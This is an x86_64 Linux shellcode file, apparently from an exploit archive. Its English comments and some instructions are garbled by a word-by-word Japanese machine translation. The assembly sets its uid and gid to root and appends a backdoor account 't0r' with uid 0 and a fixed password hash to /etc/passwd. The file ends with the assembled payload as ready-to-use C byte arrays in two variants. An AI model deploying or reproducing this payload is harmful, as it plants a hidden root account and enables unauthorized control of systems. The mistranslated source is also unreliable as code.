このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
;sc_adduser01.S ;Arch: x86_64, Linux ; ;Author: 0_o -- null_null ; nu11.nu11 [at] yahoo.com ;Date: 2012-03-05 ; ;収集する an executable: nasm -f elf64 sc_adduser.S ; ld -o sc_adduser sc_adduser.o ;収集する an 反対する: nasm -o sc_adduser_obj sc_adduser.S ; ;目的: 追加するs 使用者 "t0r" with password "勝利者" to /etc/passwd ;遂行する/発効させるd syscalls: setreuid, setregid, open, 令状, の近くに, 出口 ;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/貯蔵所/bash ;syscall op codes: /usr/含む/x86_64-linux-gnu/asm/unistd_64.h BITS 64 [SECTION .text] 全世界の _start _start: ;sys_setreuid(uint ruid, uint euid) xor rax, rax mov al, 113 ;syscall sys_setreuid xor rbx, rbx ;arg 1 -- 始める,決める real uid to root mov rcx, rbx ;arg 2 -- 始める,決める 効果的な uid to root syscall ;sys_setregid(uint rgid, uint egid) xor rax, rax mov al, 114 ;syscall sys_setregid xor rbx, rbx ;arg 1 -- 始める,決める real uid to root mov rcx, rbx ;arg 2 -- 始める,決める 効果的な uid to root syscall ;押し進める all strings on the stack 事前の to とじ込み/提出する 操作/手術s. xor rbx, rbx mov ebx, 0x647773FF shr rbx, 8 押し進める rbx ;string \00dws mov rbx, 0x7361702f6374652f 押し進める rbx ;string 次第に損なう/cte/ mov rbx, 0x0A687361622F6EFF shr rbx, 8 押し進める rbx ;string \00\nhsab/n mov rbx, 0x69622F3A746F6F72 押し進める rbx ;string ib/:toor mov rbx, 0x2F3A3A303A303A67 押し進める rbx ;string /::0:0:g mov rbx, 0x46556B554B587435 押し進める rbx ;string FUkUKXt5 mov rbx, 0x546755333A723074 押し進める rbx ;string TgU3:r0t ;序幕 to doing anything useful... mov rbx, rsp ;save stack pointer for later use 押し進める rbp ;蓄える/店 base pointer to stack so it can be 回復するd later mov rbp, rsp ;始める,決める base pointer to 現在の stack pointer ;sys_open(char* fname, int 旗s, int 方式) sub rsp, 16 mov [rbp - 16], rbx ;蓄える/店 pointer to "t0r..../bash" mov si, 0x0401 ;arg 2 -- 旗s mov rdi, rbx 追加する rdi, 40 ;arg 1 -- pointer to "/etc/passwd" xor rax, rax mov al, 2 ;syscall sys_open syscall ;sys_write(uint fd, char* buf, uint size) mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use. mov rcx, rbx ;arg 2 -- 負担 rcx with pointer to string "t0r.../bash" xor rdx, rdx mov dl, 39 ;arg 3 -- 負担 rdx with size of string "t0r.../bash\00" mov rsi, rcx ;arg 2 -- move to source 索引 登録(する) mov rdi, rax ;arg 1 -- move to 目的地 索引 登録(する) xor rax, rax mov al, 1 ;syscall sys_write syscall ;sys_close(uint fd) xor rdi, rdi mov edi, [rbp - 4] ;arg 1 -- 負担 蓄える/店d とじ込み/提出する descriptor to 目的地 索引 登録(する) xor rax, rax mov al, 3 ;syscall sys_close syscall ;sys_exit(int err_code) xor rax, rax mov al, 60 ;syscall sys_exit xor rbx, rbx ;arg 1 -- error code syscall ;char shellcode[] = ; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31" ; "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb" ; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63" ; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a" ; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69" ; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35" ; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33" ; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10" ; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28" ; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31" ; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f" ; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48" ; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05"; ; ;同等(の) code: ; ;char shellcode[] = ; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31" ; "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb" ; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63" ; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a" ; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69" ; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35" ; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33" ; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10" ; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28" ; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31" ; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f" ; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48" ; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";